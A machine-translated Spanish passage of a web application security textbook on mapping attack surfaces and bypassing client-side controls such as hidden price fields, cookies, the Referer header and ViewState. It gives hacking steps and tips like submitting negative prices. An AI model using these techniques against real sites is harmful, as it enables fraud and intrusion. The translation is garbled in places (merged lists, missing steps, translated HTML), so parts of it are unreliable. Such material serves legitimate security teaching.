Burp Intruder se puede utilizar para realizar esta prueba utilizando varios conjuntos
de carga útil y el tipo de ataque "bomba de racimo" (consulte el Capítulo 14 para obtener más detalles).
2. Supervise todas las respuestas recibidas para identificar cualquier anomalía que pueda
indicar que el parámetro agregado ha tenido un efecto en el procesamiento de la aplicación.
Análisis de la aplicación
Enumerar la mayor cantidad posible de contenido de la aplicación es solo un elemento
del proceso de mapeo. Igualmente importante es la tarea de analizar la funcionalidad,
el comportamiento y las tecnologías empleadas de la aplicación para identificar las
superficies de ataque clave que expone y comenzar a formular un enfoque para probar
la aplicación en busca de vulnerabilidades explotables.
Aquí hay algunas áreas clave para investigar:
n Todas las diferentes ubicaciones en las que la aplicación procesa la entrada proporcionada
por el usuario: cada URL, parámetro de cadena de consulta, elemento de datos POST y
cookie n Las tecnologías empleadas en el lado del cliente, incluidos formularios, scripts del
lado del cliente, componentes de cliente pesado ( Subprogramas de Java, controles ActiveX y
Flash) y cookies
n Las tecnologías empleadas en el lado del servidor, incluidas las páginas estáticas y
dinámicas, los tipos de parámetros de solicitud empleados, el uso de SSL, el software del
servidor web, la interacción con las bases de datos, los sistemas de correo electrónico y
otros componentes de back-end n Cualquier otro detalle que se puede obtener sobre la
estructura interna y la funcionalidad de la aplicación del lado del servidor: los mecanismos
que utiliza detrás de escena para brindar la funcionalidad y el comportamiento que son
visibles desde la perspectiva del cliente
La mayoría de las formas en que la aplicación captura la entrada del usuario para el procesamiento
del lado del servidor deberían ser obvias al revisar las solicitudes HTTP que se generan a medida
que recorre la funcionalidad de la aplicación. Estas son las ubicaciones clave a las que debe prestar
atención:
URL n Cada parámetro enviado dentro del cuerpo de una solicitud POST n Cada
Las partes de la URL que preceden a la cadena de consulta a menudo se pasan por alto como
puntos de entrada, ya que se supone que son simplemente los nombres de directorios y archivos
en el sistema de archivos del servidor. Sin embargo, en las aplicaciones que usan URL de estilo
REST, las partes de la URL que preceden a la cadena de consulta pueden funcionar como
parámetros de datos y son tan importantes como puntos de entrada para la entrada del usuario
como la propia cadena de consulta.
Una URL típica de estilo REST podría tener este formato:
http://eis/shop/browse/electronics/iPhone3G/
Machine Translated by Google
En este ejemplo, las cuerdas electrónicas y el iPhone3G deben tratarse como parámetros
para almacenar una función de búsqueda.
Del mismo modo, en esta URL:
http://eis/updates/2010/12/25/mi-nuevo-iphone/
cada uno de los componentes de la URL que siguen a las actualizaciones puede manejarse
de manera RESTful.
La mayoría de las aplicaciones que utilizan direcciones URL de estilo REST son fáciles de identificar dada
la estructura de la dirección URL y el contexto de la aplicación. Sin embargo, no se deben asumir reglas
estrictas al mapear una aplicación, porque depende de los autores de la aplicación cómo deben interactuar
los usuarios con ella.
Parámetros de solicitud
Los parámetros enviados dentro de la cadena de consulta de URL, el cuerpo del mensaje y las
cookies HTTP son los puntos de entrada más obvios para la entrada del usuario. Sin embargo,
algunas aplicaciones no emplean el formato estándar de nombre=valor para estos parámetros.
Pueden emplear su propio esquema personalizado, que puede usar marcadores de cadena de consulta y
separadores de campo no estándar, o pueden incorporar otros esquemas de datos, como XML, dentro de los
datos de parámetros.
Estos son algunos ejemplos de formatos de parámetros no estándar que los autores han encontrado en
la naturaleza:
n /dir/archivo;foo=bar&foo2=bar2
n /dir/archivo?foo=bar$foo2=bar2
n /dir/archivo/foo%3dbar%26foo2%3dbar2
n /dir/foo.bar/archivo
n /dir/foo=bar/archivo
n /dir/archivo?param=foo:barra
n /dir/archivo?datos=%3cfoo%3ebar%3c%2ffoo%3e%3cfoo2%3ebar2%3c%2ffoo2%3e
Encabezados HTTP
Una tendencia importante en los últimos años ha sido que las aplicaciones presenten diferentes
contenidos a los usuarios que acceden a la aplicación a través de diferentes dispositivos (laptop, celular,
tablet). Esto se logra inspeccionando el encabezado del agente de usuario . Además de proporcionar una
vía para los ataques basados en la entrada directamente dentro del propio encabezado User-Agent , este
comportamiento brinda la oportunidad de descubrir una superficie de ataque adicional dentro de la aplicación.
Al falsificar el encabezado User-Agent para un dispositivo móvil popular, puede acceder a una interfaz de
usuario simplificada que se comporta de manera diferente a la interfaz principal. Dado que esta interfaz se
genera a través de diferentes rutas de código dentro de la aplicación del lado del servidor y puede haber
estado sujeta a menos pruebas de seguridad, es posible que identifique errores, como secuencias de
comandos entre sitios, que no existen en la interfaz de la aplicación principal.
SUGERENCIA Burp Intruder contiene una lista de carga útil integrada que contiene una
gran cantidad de cadenas de agentes de usuario para diferentes tipos de dispositivos. Puede
llevar a cabo un ataque simple que realiza una solicitud GET a la página principal de la
aplicación proporcionando diferentes cadenas de agente de usuario y luego revisar los
resultados del intruso para identificar anomalías que sugieran que se está presentando una interfaz de usuario diferente.
Además de apuntar a los encabezados de solicitud HTTP que su navegador envía de forma
predeterminada, o que agregan los componentes de la aplicación, en algunas situaciones puede realizar
ataques exitosos agregando encabezados adicionales que la aplicación aún puede procesar. Por ejemplo,
muchas aplicaciones realizan algún procesamiento sobre la dirección IP del cliente para llevar a cabo
funciones como registro, control de acceso o geolocalización de usuarios. La dirección IP de la conexión de
red del cliente normalmente está disponible para las aplicaciones a través de las API de la plataforma. Sin
embargo, para manejar los casos en los que la aplicación reside detrás de un equilibrador de carga o un
proxy, las aplicaciones pueden usar la dirección IP especificada en el encabezado de la solicitud X-Forwarded-
For , si está presente.
Los desarrolladores pueden asumir erróneamente que el valor de la dirección IP no está
contaminado y procesarlo de manera peligrosa. Al agregar un X-Forwarded-For adecuadamente diseñado
Machine Translated by Google
encabezado, es posible que pueda lanzar ataques como inyección SQL o secuencias de comandos
entre sitios persistentes.
Una clase final de puntos de entrada para la entrada del usuario incluye cualquier canal fuera de banda por
el cual la aplicación recibe datos que usted puede controlar. Algunos de estos puntos de entrada pueden ser
completamente indetectables si simplemente inspecciona el tráfico HTTP generado por la aplicación, y
encontrarlos generalmente requiere una comprensión del contexto más amplio de la funcionalidad que
implementa la aplicación . Estos son algunos ejemplos de aplicaciones web que reciben datos controlables
por el usuario a través de un canal fuera de banda:
n Una aplicación de correo web que procesa y presenta los mensajes de correo electrónico recibidos
a través de SMTP
n Una aplicación de publicación que contiene una función para recuperar contenido a través de
HTTP de otro servidor
n Una aplicación de detección de intrusos que recopila datos usando una red
sniffer y lo presenta usando una interfaz de aplicación web
n Cualquier tipo de aplicación que proporcione una interfaz API para uso de agentes de usuario que no
sean navegadores, como aplicaciones de teléfonos móviles, si los datos procesados a través de esta
interfaz se comparten con la aplicación web principal.
Normalmente es posible identificar las tecnologías empleadas en el servidor a través de varias pistas e
indicadores.
Acaparamiento de pancartas
Muchos servidores web divulgan información detallada sobre la versión, tanto sobre
el software del servidor web como sobre otros componentes que se han instalado.
Por ejemplo, el encabezado del servidor HTTP revela una gran cantidad de detalles sobre algunas
instalaciones:
Además del encabezado del servidor , el tipo y la versión del software se pueden divulgar en otras
ubicaciones:
Extensiones de archivo
Las extensiones de archivo que se usan en las URL a menudo revelan la plataforma o el lenguaje
de programación que se usa para implementar la funcionalidad relevante. Por ejemplo:
Figura 4-12: Una página de error personalizada que indica que la plataforma ASP.NET está presente
en el servidor
Figura 4-13: Un mensaje de error genérico creado cuando se solicita una extensión de archivo no reconocida
Los números separados por comas hacia el final de la URL generalmente los genera la
plataforma de administración de contenido de Vignette.
Nombres de directorio
on Rails
Fichas de sesión
Muchos servidores web y plataformas de aplicaciones web generan tokens de sesión de forma
predeterminada con nombres que brindan información sobre la tecnología en uso. Por ejemplo:
PASOS DE HACK
1. Identifique todos los puntos de entrada para la entrada del usuario, incluidas las URL, los parámetros
de cadena de consulta, los datos POST, las cookies y otros encabezados HTTP procesados por la
aplicación.
3. Identifique los canales fuera de límites a través de los cuales se introducen datos controlables por
el usuario o de terceros en el procesamiento de la aplicación.
4. Vea el banner del servidor HTTP devuelto por la aplicación. Tenga en cuenta que, en algunos
casos, las diferentes áreas de la aplicación son manejadas por diferentes componentes de
back-end, por lo que se pueden recibir diferentes encabezados de servidor.
7. Ejecute la herramienta httprint para tomar la huella digital del servidor web.
10. Revise los nombres de todos los tokens de sesión emitidos por la aplicación para identificar las
tecnologías que se utilizan.
11. Use listas de tecnologías comunes, o Google, para establecer qué tecnologías pueden estar en uso
en el servidor, o descubra otros sitios web y aplicaciones que parezcan emplear las mismas
tecnologías.
Solicitudes de disección
Considere la siguiente URL, que se utiliza para acceder a una función de búsqueda:
https://wahh-app.com/calendar.jsp?
name=new%20applicants&isExpired=0&startDate=22%2F09%2010&endDate=22%2F03%2011&OrderBy=name
Como ha visto, la extensión de archivo .jsp indica que las páginas del servidor Java están
en uso. Puede adivinar que una función de búsqueda recuperará su información de un
sistema de indexación o de una base de datos. La presencia del parámetro OrderBy sugiere
que se está utilizando una base de datos de back-end y que el valor que envíe se puede
utilizar como la cláusula ORDER BY de una consulta SQL. Este parámetro bien puede ser
vulnerable a la inyección SQL, al igual que cualquiera de los otros parámetros si se utilizan
en consultas de base de datos (consulte el Capítulo 9).
También de interés entre los otros parámetros es el campo isExpired . Esto parece ser
un indicador booleano que especifica si la consulta de búsqueda debe incluir contenido
caducado. Si los diseñadores de la aplicación no esperaban que los usuarios normales
pudieran recuperar contenido caducado, cambiar este parámetro de 0 a 1 podría identificar
una vulnerabilidad de control de acceso (consulte el Capítulo 8).
La siguiente URL, que permite a los usuarios acceder a un sistema de gestión de
contenido, contiene un conjunto diferente de pistas:
https://wahh-app.com/workbench.aspx?template=NewBranch.tpl&loc= /default&ver=2.31&edit=false
Aquí, la extensión de archivo .aspx indica que se trata de una aplicación ASP.NET. También
parece muy probable que el parámetro template se use para especificar un nombre de
archivo y el parámetro loc se use para especificar un directorio. La posible extensión de
archivo .tpl parece confirmar esto, al igual que la ubicación /default, que muy bien podría
ser un nombre de directorio. Es posible que la aplicación recupere el archivo de plantilla
especificado e incluya el contenido en su respuesta. Estos parámetros pueden ser
vulnerables a los ataques de cruce de rutas, lo que permite que se lean archivos arbitrarios
del servidor (consulte el Capítulo 10).
También es de interés el parámetro de edición , que se establece en falso.
Puede ser que cambiar este valor a verdadero modifique la funcionalidad de
registro, lo que podría permitir que un atacante edite elementos que el desarrollador
de la aplicación no pretendía que fueran editables. El parámetro ver no tiene un
propósito fácil de adivinar, pero puede ser que modificarlo haga que la aplicación
realice un conjunto diferente de funciones que un atacante podría explotar.
Machine Translated by Google
Finalmente, considere la siguiente solicitud, que se utiliza para enviar una pregunta a
los administradores de la aplicación:
[email protected]&[email protected]&subject=
Problema+iniciar+inicio&message=Por favor+ayuda...
Al igual que con los otros ejemplos, la extensión de archivo .php indica que la función se
implementa utilizando el lenguaje PHP. Además, es muy probable que la aplicación esté
interactuando con un sistema de correo electrónico externo, y parece que la entrada
controlable por el usuario se pasa a ese sistema en todos los campos relevantes del correo
electrónico. La función puede explotarse para enviar mensajes arbitrarios a cualquier
destinatario, y cualquiera de los campos también puede ser vulnerable a la inyección de
encabezado de correo electrónico (consulte el Capítulo 10).
http://eis/pub/media/117/view
http://eis/manager?schema=pub&type=media&id=117&action=view
Si bien no es seguro, parece probable que el recurso 117 esté contenido en la colección
de medios de recursos y que la aplicación esté realizando una acción en este recurso que es
equivalente a ver. Inspeccionar otras URL ayudaría a confirmar esto.
http://eis/pub/media/7337/add
http://eis/pub/pages/1/ver http://eis/pub/
users/1/ver
Machine Translated by Google
PASOS DE HACK
PASOS DE HACK
1. Trate de identificar cualquier ubicación dentro de la aplicación que pueda contener pistas
sobre la estructura interna y la funcionalidad de otras áreas.
2. Puede que no sea posible sacar conclusiones firmes aquí; sin embargo, los casos
identificados pueden resultar útiles en una etapa posterior del ataque cuando intenta
explotar cualquier vulnerabilidad potencial.
PASOS DE HACK
de encabezado n Funciones de redes sociales: enumeración de nombres de usuario, almacenamiento entre sitios
secuencias de comandos
recursos inaccesibles o probar una opción comodín en pageID, como pageID=all o pageID=*.
Finalmente, debido a que el valor de ID de página observado contiene una barra inclinada,
puede indicar que se está recuperando un recurso del sistema de archivos, en cuyo caso los
ataques de cruce de ruta pueden ser una posibilidad.
La ruta /gb contiene el libro de visitas del sitio. Visitar esta página sugiere que se usa como
un foro de discusión, moderado por un administrador. Los mensajes se moderan, pero la
omisión de inicio de sesión login=true significa que un atacante puede intentar aprobar
mensajes maliciosos (por ejemplo, para lanzar ataques de secuencias de comandos entre
sitios) y leer los mensajes privados de otros usuarios al administrador.
La ruta /home parece contener contenido de usuario autenticado. Esto podría ser una
buena base para los intentos de lanzar un ataque de escalada de privilegios horizontal para
acceder a la información personal de otro usuario y garantizar que los controles de acceso
estén presentes y se apliquen en cada página.
Una revisión rápida muestra que las rutas /icons y /images tienen contenido estático.
Puede valer la pena usar fuerza bruta para los nombres de íconos que podrían indicar
software de terceros y verificar la indexación de directorios en estos directorios, pero es poco
probable que valga la pena un esfuerzo significativo.
La ruta /pub contiene recursos de estilo REST en /pub/media y /pub/ user. Se podría
usar un ataque de fuerza bruta para encontrar las páginas de perfil de otros usuarios de la
aplicación apuntando al valor numérico en /pub/user/11. La funcionalidad de redes sociales
como esta puede revelar información del usuario, nombres de usuario y el estado de inicio
de sesión de otros usuarios.
La ruta /shop contiene el sitio de compras en línea y tiene una gran cantidad de URL. Sin
embargo, todos tienen una estructura similar, y un atacante probablemente podría sondear
toda la superficie de ataque relevante mirando solo uno o dos elementos. El proceso de
compra puede contener fallos lógicos interesantes que podrían aprovecharse para obtener
descuentos no autorizados o evitar el pago.
PASOS DE HACK
Resumen
Mapear la aplicación es un requisito previo clave para atacarla. Puede ser tentador
sumergirse y comenzar a buscar errores, pero tomarse el tiempo para obtener una
comprensión sólida de la funcionalidad, las tecnologías y la superficie de ataque de la
aplicación pagará dividendos en el futuro.
Al igual que con casi todos los hackeos de aplicaciones web, el enfoque más efectivo es
utilizar técnicas manuales complementadas, cuando corresponda, con automatización controlada.
Ninguna herramienta completamente automatizada puede realizar un mapeo completo de la
aplicación de manera segura. Para hacer esto, necesita usar sus manos y basarse en su propia
experiencia. La metodología central que hemos esbozado implica lo siguiente:
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
¿Qué información puede inferir sobre las tecnologías del lado del servidor? ¿Qué puedes
conjeturar sobre otros contenidos y funcionalidades que puedan existir?
5. Está asignando dos aplicaciones web diferentes y solicita la URL /admin.cpf de cada
aplicación. Los encabezados de respuesta devueltos por cada solicitud se muestran
aquí. Solo con estos encabezados, ¿qué puede deducir acerca de la presencia del
recurso solicitado dentro de cada aplicación?
HTTP/1.1 200 Aceptar
Servidor: Microsoft-IIS/5.0
Caduca: lunes, 20 de junio de 2011 14:59:21 GMT Ubicación del
contenido: http://wahh app.com/includes/error.htm?404;http://wahh-
app.com/admin.cpf
Fecha: lunes, 20 de junio de 2011 14:59:21 GMT
Tipo de contenido: texto/html
Rangos de aceptación: bytes
Longitud del contenido: 2117
Capítulo R
El Capítulo 1 describió cómo surge el problema central de seguridad con las aplicaciones web
porque los clientes pueden enviar entradas arbitrarias. A pesar de este hecho, una gran
proporción de las aplicaciones web, sin embargo, se basan en varias medidas implementadas
en el lado del cliente para controlar los datos que envían al servidor. En general, esto representa
una falla de seguridad fundamental: el usuario tiene control total sobre el cliente y los datos que
envía y puede eludir cualquier control que se implemente en el lado del cliente y no se replique
en el servidor.
Una aplicación puede depender de los controles del lado del cliente para restringir la entrada
del usuario de dos maneras generales. En primer lugar, una aplicación puede transmitir datos a
través del componente del cliente utilizando un mecanismo que supone evitará que el usuario
modifique esos datos cuando la aplicación los lea más tarde. En segundo lugar, una aplicación
puede implementar medidas en el lado del cliente que controlen la interacción del usuario con su
propio cliente, con el objetivo de restringir la funcionalidad y/o aplicar controles sobre la entrada
del usuario antes de que se envíe. Esto se puede lograr utilizando funciones de formulario HTML,
secuencias de comandos del lado del cliente o tecnologías de extensión del navegador.
Este capítulo analiza ejemplos de cada tipo de control del lado del cliente y describe
formas en que pueden ser evitados.
117
Machine Translated by Google
Es común ver una aplicación que pasa datos al cliente en un formulario que el usuario final no
puede ver ni modificar directamente, con la expectativa de que estos datos se envíen de vuelta
al servidor en una solicitud posterior. A menudo, los desarrolladores de la aplicación simplemente
asumen que el mecanismo de transmisión utilizado garantizará que los datos transmitidos a
través del cliente no se modifiquen en el camino.
Debido a que todo lo que se envía desde el cliente al servidor está bajo el control del usuario,
la suposición de que los datos transmitidos a través del cliente no se modificarán suele ser falso
y, a menudo, deja a la aplicación vulnerable a uno o más ataques.
Sin embargo, la transmisión de datos confidenciales de esta manera suele ser insegura y ha
sido la causa de innumerables vulnerabilidades en las aplicaciones.
Los campos de formulario HTML ocultos son un mecanismo común para transmitir datos a
través del cliente de una manera superficialmente inmodificable. Si un campo está marcado
como oculto, no se muestra en pantalla. Sin embargo, el nombre y el valor del campo se
almacenan en el formulario y se devuelven a la aplicación cuando el usuario envía
la forma.
Machine Translated by Google
El ejemplo clásico de esta falla de seguridad es una aplicación minorista que almacena los
precios de los productos dentro de campos de formulario ocultos. En los primeros días de las
aplicaciones web , esta vulnerabilidad estaba muy extendida y de ninguna manera ha sido
eliminada en la actualidad. La figura 5-1 muestra un formulario típico.
Observe el campo de formulario llamado precio, que está marcado como oculto. Este campo
se envía al servidor cuando el usuario envía el formulario:
¡INTENTALO!
http://mdsec.net/shop/28/
Figura 5-2: Modificación de los valores de los campos de formulario ocultos utilizando un proxy interceptor
SUGERENCIA Si encuentra una aplicación que es vulnerable de esta manera, vea si puede enviar
una cantidad negativa como precio. En algunos casos, las aplicaciones han aceptado transacciones
utilizando precios negativos. El atacante recibe un reembolso en su tarjeta de crédito y también el
artículo que ordenó, una situación en la que todos ganan, si alguna vez hubo una.
Machine Translated by Google
Cookies HTTP
Otro mecanismo común para transmitir datos a través del cliente son las cookies HTTP .
Al igual que los campos de formulario ocultos, normalmente estos no se muestran en
pantalla y el usuario no puede modificarlos directamente. Por supuesto, se pueden
modificar utilizando un proxy interceptor, cambiando la respuesta del servidor que los
establece o las solicitudes posteriores del cliente que los emiten.
Considere la siguiente variación del ejemplo anterior. Después del cliente
ha iniciado sesión en la aplicación, recibe la siguiente respuesta:
Esta cookie de descuento acordado apunta a un caso clásico de confianza en los controles del lado del
cliente (el hecho de que las cookies normalmente no se pueden modificar) para proteger los datos transmitidos
a través del cliente. Si la aplicación confía en el valor de la cookie DiscountAgreed cuando se vuelve a enviar
al servidor, los clientes pueden obtener descuentos arbitrarios modificando su valor. Por ejemplo:
cantidad=1
¡INTENTALO!
http://mdsec.net/shop/92/
Parámetros de URL
Las aplicaciones transmiten con frecuencia datos a través del cliente utilizando parámetros de URL
preestablecidos . Por ejemplo, cuando un usuario navega por el catálogo de productos, la aplicación puede
proporcionarle hipervínculos a URL como las siguientes:
http://mdsec.net/shop/?prod=3&pricecode=32
Cuando se muestra una URL que contiene parámetros en la barra de ubicación del navegador, cualquier
usuario puede modificar fácilmente cualquier parámetro sin el uso de herramientas.
Sin embargo, en muchos casos, una aplicación puede esperar que los usuarios comunes no puedan ver o
modificar los parámetros de URL:
n Cuando las imágenes incrustadas se cargan mediante direcciones URL que contienen parámetros. n
Cuando las direcciones URL que contienen parámetros se utilizan para cargar el contenido de un marco.
Machine Translated by Google
n Cuando una aplicación utiliza ventanas emergentes u otras técnicas para ocultar
la barra de ubicación del navegador
Por supuesto, en cualquier caso, los valores de cualquier parámetro de URL se pueden modificar
como se explicó anteriormente utilizando un proxy de interceptación.
El encabezado de referencia
Los navegadores incluyen el encabezado Referer en la mayoría de las solicitudes HTTP. Se utiliza
para indicar la URL de la página desde la que se originó la solicitud actual, ya sea porque el usuario
hizo clic en un hipervínculo o envió un formulario, o porque la página hacía referencia a otros
recursos, como imágenes. Por lo tanto, puede aprovecharse como un mecanismo para transmitir
datos a través del cliente. Debido a que las URL procesadas por la aplicación están bajo su control,
los desarrolladores pueden suponer que el encabezado Referer se puede usar para determinar de
manera confiable qué URL generó una solicitud en particular.
Por ejemplo, considere un mecanismo que permita a los usuarios restablecer su contraseña si
la han olvidado. La aplicación requiere que los usuarios realicen varios pasos en una secuencia
definida antes de restablecer el valor de su contraseña con la siguiente solicitud:
La aplicación puede usar el encabezado Referer para verificar que esta solicitud se originó en
la etapa correcta (Admin.ashx). Si lo hiciera, el usuario puede acceder a la funcionalidad solicitada.
Sin embargo, debido a que el usuario controla todos los aspectos de cada solicitud, incluidos
los encabezados HTTP, este control se puede eludir fácilmente procediendo directamente a
CreateUser.ashx y usando un proxy de interceptación para cambiar el valor del encabezado Referer
al valor que requiere la aplicación. .
El encabezado Referer es estrictamente opcional de acuerdo con los estándares de w3.org. Por lo
tanto, aunque la mayoría de los navegadores lo implementan, usarlo para controlar la funcionalidad de
la aplicación debe considerarse como un truco.
¡INTENTALO!
http://mdsec.net/auth/472/
Machine Translated by Google
MITO COMÚN
A menudo se supone que los encabezados HTTP son de alguna manera más "a prueba de
manipulaciones" que otras partes de la solicitud, como la URL. Esto puede llevar a los
desarrolladores a implementar funciones que confíen en los valores enviados en los
encabezados, como Cookie y Referer, mientras realizan una validación adecuada de otros datos,
como los parámetros de URL. Sin embargo, esta percepción es falsa. Dada la multitud de
herramientas proxy de interceptación que están disponibles gratuitamente, cualquier pirata
informático aficionado que se dirija a una aplicación puede cambiar todos los datos solicitados
con facilidad. Es como suponer que cuando la maestra viene a registrar tu escritorio, es más
seguro esconder tu pistola de agua en el cajón inferior, porque tendrá que agacharse más para
descubrirla.
PASOS DE HACK
1. Localice todas las instancias dentro de la aplicación donde los campos de formulario ocultos,
Aparentemente, se utilizan cookies y parámetros de URL para transmitir datos a través
del cliente.
3. Modificar el valor del artículo de manera que sea relevante para su propósito en el
solicitud. Compruebe si la aplicación procesa valores arbitrarios enviados en el parámetro
y si esto expone la aplicación a alguna vulnerabilidad.
Opaque Data
A veces, los datos transmitidos a través del cliente no son transparentemente
inteligibles porque se cifraron u ofuscaron de alguna manera. Por ejemplo, en lugar
de ver el precio de un producto almacenado en un campo oculto, puede ver que se
transmite un valor críptico:
¡INTENTALO!
http://mdsec.net/shop/48/
NOTA Los elementos de datos opacos transmitidos a través del cliente suelen formar
parte del mecanismo de gestión de sesiones de la aplicación. Los tokens de sesión
enviados en cookies HTTP, los tokens anti-CSRF transmitidos en campos ocultos y los
tokens de URL únicos para acceder a los recursos de la aplicación son objetivos potenciales
para la manipulación del lado del cliente. Numerosas consideraciones son específicas para
este tipo de tokens, como se analiza en profundidad en el Capítulo 7.
PASOS DE HACK
Ante la transmisión de datos opacos a través del cliente, son posibles varias vías de
ataque:
1. Si conoce el valor del texto sin formato detrás de la cadena opaca, puede intentar
descifrar el algoritmo de ofuscación que se está empleando.
2. Como se describe en el Capítulo 4, la aplicación puede contener otras funciones
donde puede aprovechar para devolver la cadena opaca resultante de un fragmento
de texto sin formato que controla. En esta situación, es posible que pueda obtener
directamente la cadena requerida para entregar una carga útil arbitraria a la función a
la que se dirige.
3. Incluso si la cuerda opaca es impenetrable, es posible que se reproduzca
su valor en otros contextos para lograr un efecto malicioso. Por ejemplo, el parámetro
pricing_token en el formulario mostrado anteriormente puede contener una versión
cifrada del precio del producto. Aunque no es posible producir el equivalente
encriptado por un precio arbitrario de su elección, puede copiar el precio encriptado
de un producto diferente y más económico y enviarlo en su lugar.
4. Si todo lo demás falla, puede intentar atacar la lógica del lado del servidor que
descifrar o desofuscar la cadena opaca mediante el envío de variaciones mal
formadas de la misma, por ejemplo, que contengan valores demasiado largos,
diferentes conjuntos de caracteres y similares.
Además de este propósito central de ViewState, los desarrolladores pueden usarlo para
almacenar información arbitraria en solicitudes sucesivas. Por ejemplo, en lugar de guardar
el precio del producto en un campo de formulario oculto, una aplicación puede guardarlo en
ViewState de la siguiente manera:
__VIEWSTATE=%2FwEPDwULLTE1ODcxNjkwNjIPFgIeBXByaWNlBQMzOTlkZA%3D%3D& cantidad=1
3D FF 01 0F 0F 05 0B 2D 31 35 38 37 31 36 39 30 ; =ÿ.....-15871690 36 32 0F 16 02 1E 05 70 72 69 63
65 05 03 33 39 ; 62.....precios..39
39 64 64 ; 9dd
Machine Translated by Google
Figura 5-3: Burp Proxy puede decodificar y renderizar ViewState, lo que le permite revisar su
contenido y editarlo si la opción EnableViewStateMac no está configurada
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/shop/76/
PASOS DE HACK
5. Tenga en cuenta que la protección MAC se puede habilitar o deshabilitar en una página
por lo que puede ser necesario probar cada página importante de la
aplicación para detectar vulnerabilidades de pirateo de ViewState. Si está
utilizando Burp Scanner con el escaneo pasivo habilitado, Burp informa
automáticamente cualquier página que use ViewState sin la protección MAC habilitada.
La otra forma principal en la que las aplicaciones usan controles del lado del cliente para restringir
los datos enviados por los clientes ocurre con datos que no fueron especificados originalmente por
el servidor pero que fueron recopilados en la propia computadora del cliente.
Los formularios HTML son la forma más simple y común de capturar la entrada del usuario
y enviarla al servidor. Con los usos más básicos de este método, los usuarios escriben datos
en campos de texto con nombre, que se envían al servidor como pares de nombre/valor. Sin
embargo, los formularios se pueden utilizar de otras formas; pueden imponer restricciones o
realizar comprobaciones de validación de los datos proporcionados por el usuario. Cuando un
Machine Translated by Google
La aplicación emplea estos controles del lado del cliente como un mecanismo de seguridad
para defenderse contra entradas maliciosas, los controles generalmente se pueden eludir
fácilmente, dejando a la aplicación potencialmente vulnerable a un ataque.
Límites de longitud
Considere la siguiente variación del formulario HTML original, que impone una
longitud máxima de 1 en el campo de cantidad :
<form method=”post” action=”Shop.aspx?prod=1”> Producto: iPhone 5 <br/>
</formulario>
INTERCEPTAR RESPUESTAS
Cuando intenta interceptar y modificar las respuestas del servidor, puede encontrar
que el mensaje relevante que se muestra en su proxy se ve así:
HTTP/1.1 304 No modificado
Fecha: miércoles, 6 de julio de 2011 22:40:20 GMT
Etiqueta: "6c7-5fcc0900"
Caduca: Word, 7 de julio de 2011 00:40:20 GMT
Control de caché: edad máxima = 7200
Estos encabezados le indican al servidor cuándo el navegador actualizó por última vez su copia en caché.
La cadena Etag, que el servidor proporcionó con esa copia del recurso, es una especie
de número de serie que el servidor asigna a cada recurso almacenable en caché.
Machine Translated by Google
Se actualiza cada vez que se modifica el recurso. Si el servidor posee una versión más
reciente del recurso que la fecha especificada en el encabezado If-Modified-Since, o si la
Etag de la versión actual coincide con la especificada en el encabezado If-None-Match, el
servidor responde con la última versión del recurso. De lo contrario, devuelve una respuesta
304, como se muestra aquí, informando al navegador que el recurso no ha sido modificado
y que el navegador debe usar su copia en caché.
PASOS DE HACK
2. Si la aplicación acepta los datos demasiado largos, puede inferir que la validación del
lado del cliente no se replica en el servidor.
<script>función validarFormulario(elFormulario)
{
var esEntero = /^\d+$/; var valid =
isInteger.test(cantidad) && cantidad > 0 && cantidad <= 50;
si (!válido)
alert('Ingrese una cantidad válida');
devolución válida;
} </script>
¡INTENTALO!
http://mdsec.net/shop/139/
PASOS DE HACK
1. Identifique cualquier caso en el que se use JavaScript del lado del cliente para realizar entradas
validación antes del envío del formulario.
3. Al igual que con las restricciones de longitud, determine si los controles del lado del cliente
se replican en el servidor y, de no ser así, si esto puede explotarse con fines
malintencionados.
4. Tenga en cuenta que si varios campos de entrada están sujetos a la validación del lado
del cliente antes del envío del formulario, debe probar cada campo individualmente
con datos no válidos y dejar valores válidos en todos los demás campos. Si envía datos
no válidos en varios campos simultáneamente, es posible que el servidor deje de procesar
el formulario cuando identifique el primer campo no válido. Por lo tanto, su prueba no
alcanzará todas las rutas de código posibles dentro de la aplicación.
NOTA Las rutinas de JavaScript del lado del cliente para validar la entrada del usuario son
comunes en las aplicaciones web, pero no concluya que todas esas aplicaciones son
vulnerables. La aplicación está expuesta solo si la validación del lado del cliente no se replica
en el servidor, e incluso entonces solo si la entrada manipulada que elude la validación del lado
del cliente puede usarse para causar algún comportamiento no deseado por parte de la aplicación.
En la mayoría de los casos, la validación del lado del cliente de la entrada del usuario tiene
efectos beneficiosos sobre el rendimiento de la aplicación y la calidad de la experiencia del
usuario. Por ejemplo, al completar un formulario de registro detallado, un usuario común puede
cometer varios errores, como omitir campos obligatorios o formatear incorrectamente su número
de teléfono. En ausencia de validación del lado del cliente, la corrección de estos errores puede
implicar varias recargas de la página y mensajes de ida y vuelta al servidor. La implementación
de controles de validación básicos en el lado del cliente hace que la experiencia del usuario sea
mucho más fluida y reduce la carga en el servidor.
Elementos deshabilitados
<br/>
Cantidad: <input type=”text” name=”quantity”> (La cantidad máxima es 50)
<br/>
<tipo de entrada=”enviar” valor=”Comprar”>
</formulario>
Esto incluye el precio del producto como un campo de texto deshabilitado y aparece
en pantalla como se muestra en la Figura 5-4.
¡INTENTALO!
http://mdsec.net/shop/104/
PASOS DE HACK
2. A menudo, los elementos de envío se marcan como deshabilitados para que los
botones aparezcan atenuados en contextos cuando la acción relevante no está
disponible. Siempre debe intentar enviar los nombres de estos elementos para
determinar si la aplicación realiza una verificación del lado del servidor antes de
intentar llevar a cabo la acción solicitada.
Machine Translated by Google
4. Puede usar la función de modificación de HTML en Burp Proxy para volver a habilitar
automáticamente cualquier campo deshabilitado que se use dentro de la aplicación.
Además de los formularios HTML, el otro método principal para capturar, validar y enviar datos
de usuario es usar un componente del lado del cliente que se ejecuta en una extensión del
navegador, como Java o Flash. Cuando se emplearon por primera vez en aplicaciones web, las
extensiones de navegador a menudo se usaban para realizar tareas simples y, a menudo,
cosméticas. Ahora, las empresas utilizan cada vez más extensiones de navegador para crear
